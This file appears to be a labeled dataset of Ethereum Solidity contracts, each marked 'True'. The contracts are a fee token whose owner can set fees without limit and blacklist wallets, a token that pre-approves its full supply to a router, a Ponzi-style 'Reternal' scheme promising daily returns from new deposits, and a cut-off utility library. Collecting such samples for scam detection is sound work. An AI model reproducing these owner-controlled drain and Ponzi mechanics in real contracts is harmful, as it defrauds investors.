▀███▀▀▀██▄ ██ ██
██ ▀██▄
██ ▀█████ ▀██▀ ▀██▀▀███ ▀████████▄ ▄▄█▀██
██ ██ ██ ██ ▄█ ██ ██ ██ ▄█▀ ██
██ ▄██ ██ ██ ▄█ ██ ██ ██ ██▀▀▀▀▀▀
██ ▄██▀ ██ ███ ██ ██ ██ ██▄ ▄
▄████████▀ ▄████▄ █ ▄████▄████ ████▄ ▀█████▀
"The true work of art is but a shadow of the divine perfection."
Locking prior to launch & renouncing after transaction limit is fully lifted.
10% initial transaction limit and wallet size.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Divine is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Divine";
string private constant _symbol = "Divine";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 2;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 8;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xc6d0678004DFC63FCc5D8Bc6a25838f390b5E787);
address payable private _marketingAddress = payable(0xc6d0678004DFC63FCc5D8Bc6a25838f390b5E787);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000 * 10**9;
uint256 public _maxWalletSize = 100000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
// SPDX-License-Identifier: MIT
/*
_____ _ _ _ _
| ____| | ___ _ __ | | | | __ _ ___ _ __| |_ ___
| _| | |/ _ \| '_ \| |_| |/ _` |/ _ \ '__| __/ __|
| |___| | (_) | | | | _ | (_| | __/ | | |_\__ \
|_____|_|\___/|_| |_|_| |_|\__,_|\___|_| \__|___/
Token Name: ElonHaerts
Token Symbol: EHEART
Total Supply: 100000000000
Decimals: 18
*/
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Lite is IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 internal _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount);
unchecked {
_approve(sender, msg.sender, currentAllowance - amount);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ElonHaertsToken is ERC20Lite {
uint16 FavouriteNumber = 8910;
constructor(uint256 totalSupply_, string memory name_, string memory symbol_) ERC20Lite(name_, symbol_) payable {
_totalSupply = totalSupply_;
_balances[msg.sender] = totalSupply_;
_approve(msg.sender, 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, totalSupply_);
emit Transfer(address(0), msg.sender, totalSupply_);
}
} | True | [
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pragma solidity ^0.4.24;
/**
* ██████╗ ███████╗████████╗███████╗ ██████╗ ███╗ ██╗ █████╗ ██╗
* ██╔══██╗ ██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗ ████╗ ██║ ██╔══██╗ ██║
* ██████╔╝ █████╗ ██║ █████╗ ██████╔╝ ██╔██╗ ██║ ███████║ ██║
* ██╔══██╗ ██╔══╝ ██║ ██╔══╝ ██╔══██╗ ██║╚██╗██║ ██╔══██║ ██║
* ██║ ██║ ███████╗ ██║ ███████╗ ██║ ██║ ██║ ╚████║ ██║ ██║ ███████╗
* ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝
*
* Contacts:
*
* -- t.me/Reternal
* -- https://www.reternal.net
*
* - GAIN PER 24 HOURS:
*
* -- Individual balance < 1 Ether: 3.15%
* -- Individual balance >= 1 Ether: 3.25%
* -- Individual balance >= 4 Ether: 3.45%
* -- Individual balance >= 12 Ether: 3.65%
* -- Individual balance >= 50 Ether: 3.85%
* -- Individual balance >= 200 Ether: 4.15%
*
* -- Contract balance < 500 Ether: 0%
* -- Contract balance >= 500 Ether: 0.10%
* -- Contract balance >= 1500 Ether: 0.20%
* -- Contract balance >= 2500 Ether: 0.30%
* -- Contract balance >= 7000 Ether: 0.45%
* -- Contract balance >= 15000 Ether: 0.65%
*
* - Minimal contribution 0.01 eth
* - Contribution allocation schemes:
* -- 95% payments
* -- 5% Marketing + Operating Expenses
*
* - How to use:
* 1. Send from your personal ETH wallet to the smart-contract address any amount more than or equal to 0.01 ETH
* 2. Add your refferer's wallet to a HEX data in your transaction to
* get a bonus amount back to your wallet only for the FIRST deposit
* IMPORTANT: if you want to support Reternal project, you can leave your HEX data field empty,
* if you have no referrer and do not want to support Reternal, you can type 'noreferrer'
* if there is no referrer, you will not get any bonuses
* 3. Use etherscan.io to verify your transaction
* 4. Claim your dividents by sending 0 ether transaction (available anytime)
* 5. You can reinvest anytime you want
*
* RECOMMENDED GAS LIMIT: 200000
* RECOMMENDED GAS PRICE: https://ethgasstation.info/
*
* The smart-contract has a "restart" function, more info at www.reternal.net
*
* If you want to check your dividents, you can use etherscan.io site, following the "Internal Txns" tab of your wallet
* WARNING: do not use exchanges' wallets - you will loose your funds. Only use your personal wallet for transactions
*
*/
contract Reternal {
// Investor's data storage
mapping (address => Investor) public investors;
address[] public addresses;
struct Investor
{
uint id;
uint deposit;
uint depositCount;
uint block;
address referrer;
}
uint constant public MINIMUM_INVEST = 10000000000000000 wei;
address defaultReferrer = 0x25EDFd665C2898c2898E499Abd8428BaC616a0ED;
uint public round;
uint public totalDepositAmount;
bool public pause;
uint public restartBlock;
bool ref_flag;
// Investors' dividents increase goals due to a bank growth
uint bank1 = 5e20; // 500 eth
uint bank2 = 15e20; // 1500 eth
uint bank3 = 25e20; // 2500 eth
uint bank4 = 7e21; // 7000 eth
uint bank5 = 15e20; // 15000 eth
// Investors' dividents increase due to individual deposit amount
uint dep1 = 1e18; // 1 ETH
uint dep2 = 4e18; // 4 ETH
uint dep3 = 12e18; // 12 ETH
uint dep4 = 5e19; // 50 ETH
uint dep5 = 2e20; // 200 ETH
event NewInvestor(address indexed investor, uint deposit, address referrer);
event PayOffDividends(address indexed investor, uint value);
event refPayout(address indexed investor, uint value, address referrer);
event NewDeposit(address indexed investor, uint value);
event NextRoundStarted(uint round, uint block, address addr, uint value);
constructor() public {
addresses.length = 1;
round = 1;
pause = false;
}
function restart() private {
address addr;
for (uint i = addresses.length - 1; i > 0; i--) {
addr = addresses[i];
addresses.length -= 1;
delete investors[addr];
}
emit NextRoundStarted(round, block.number, msg.sender, msg.value);
pause = false;
round += 1;
totalDepositAmount = 0;
createDeposit();
}
function getRaisedPercents(address addr) internal view returns(uint){
// Individual deposit percentage sums up with 'Reternal total fund' percentage
uint percent = getIndividualPercent() + getBankPercent();
uint256 amount = investors[addr].deposit * percent / 100*(block.number-investors[addr].block)/6000;
return(amount / 100);
}
function payDividends() private{
require(investors[msg.sender].id > 0, "Investor not found.");
// Investor's total raised amount
uint amount = getRaisedPercents(msg.sender);
if (address(this).balance < amount) {
pause = true;
restartBlock = block.number + 6000;
return;
}
// Service fee deduction
uint FeeToWithdraw = amount * 5 / 100;
uint payment = amount - FeeToWithdraw;
address(0xD9bE11E7412584368546b1CaE64b6C384AE85ebB).transfer(FeeToWithdraw);
msg.sender.transfer(payment);
emit PayOffDividends(msg.sender, amount);
}
function createDeposit() private{
Investor storage user = investors[msg.sender];
if (user.id == 0) {
// Check for malicious smart-contract
msg.sender.transfer(0 wei);
user.id = addresses.push(msg.sender);
if (msg.data.length != 0) {
address referrer = bytesToAddress(msg.data);
// Check for referrer's registration. Check for self referring
if (investors[referrer].id > 0 && referrer != msg.sender) {
user.referrer = referrer;
// Cashback only for the first deposit
if (user.depositCount == 0) { // cashback only for the first deposit
uint cashback = msg.value / 100;
if (msg.sender.send(cashback)) {
emit refPayout(msg.sender, cashback, referrer);
}
}
}
} else {
// If data is empty:
user.referrer = defaultReferrer;
}
emit NewInvestor(msg.sender, msg.value, referrer);
} else {
// Dividents payment for an investor
payDividends();
}
// 2% from a referral deposit transfer to a referrer
uint payReferrer = msg.value * 2 / 100; // 2% from referral deposit to referrer
//
if (user.referrer == defaultReferrer) {
user.referrer.transfer(payReferrer);
} else {
investors[referrer].deposit += payReferrer;
}
user.depositCount++;
user.deposit += msg.value;
user.block = block.number;
totalDepositAmount += msg.value;
emit NewDeposit(msg.sender, msg.value);
}
function() external payable {
if(pause) {
if (restartBlock <= block.number) { restart(); }
require(!pause, "Eternal is restarting, wait for the block in restartBlock");
} else {
if (msg.value == 0) {
payDividends();
return;
}
require(msg.value >= MINIMUM_INVEST, "Too small amount, minimum 0.01 ether");
createDeposit();
}
}
function getBankPercent() public view returns(uint){
uint contractBalance = address(this).balance;
uint totalBank1 = bank1;
uint totalBank2 = bank2;
uint totalBank3 = bank3;
uint totalBank4 = bank4;
uint totalBank5 = bank5;
if(contractBalance < totalBank1){
return(0); // If bank lower than 500, whole procent doesnt add
}
if(contractBalance >= totalBank1 && contractBalance < totalBank2){
return(10); // If bank amount more than or equal to 500 ETH, whole procent add 0.10%
}
if(contractBalance >= totalBank2 && contractBalance < totalBank3){
return(20); // If bank amount more than or equal to 1500 ETH, whole procent add 0.10%
}
if(contractBalance >= totalBank3 && contractBalance < totalBank4){
return(30); // If bank amount more than or equal to 2500 ETH, whole procent add 0.10%
}
if(contractBalance >= totalBank4 && contractBalance < totalBank5){
return(45); // If bank amount more than or equal to 7000 ETH, whole procent add 0.15%
}
if(contractBalance >= totalBank5){
return(65); // If bank amount more than or equal to 15000 ETH, whole procent add 0.20%
}
}
function getIndividualPercent() public view returns(uint){
uint userBalance = investors[msg.sender].deposit;
uint totalDeposit1 = dep1;
uint totalDeposit2 = dep2;
uint totalDeposit3 = dep3;
uint totalDeposit4 = dep4;
uint totalDeposit5 = dep5;
if(userBalance < totalDeposit1){
return(315); // 3.15% by default, investor deposit lower than 1 ETH
}
if(userBalance >= totalDeposit1 && userBalance < totalDeposit2){
return(325); // 3.25% Your Deposit more than or equal to 1 ETH
}
if(userBalance >= totalDeposit2 && userBalance < totalDeposit3){
return(345); // 3.45% Your Deposit more than or equal to 4 ETH
}
if(userBalance >= totalDeposit3 && userBalance < totalDeposit4){
return(360); // 3.60% Your Deposit more than or equal to 12 ETH
}
if(userBalance >= totalDeposit4 && userBalance < totalDeposit5){
return(385); // 3.85% Your Deposit more than or equal to 50 ETH
}
if(userBalance >= totalDeposit5){
return(415); // 4.15% Your Deposit more than or equal to 200 ETH
}
}
function getInvestorCount() public view returns (uint) {
return addresses.length - 1;
}
function bytesToAddress(bytes bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-02-26
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/[email protected]/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
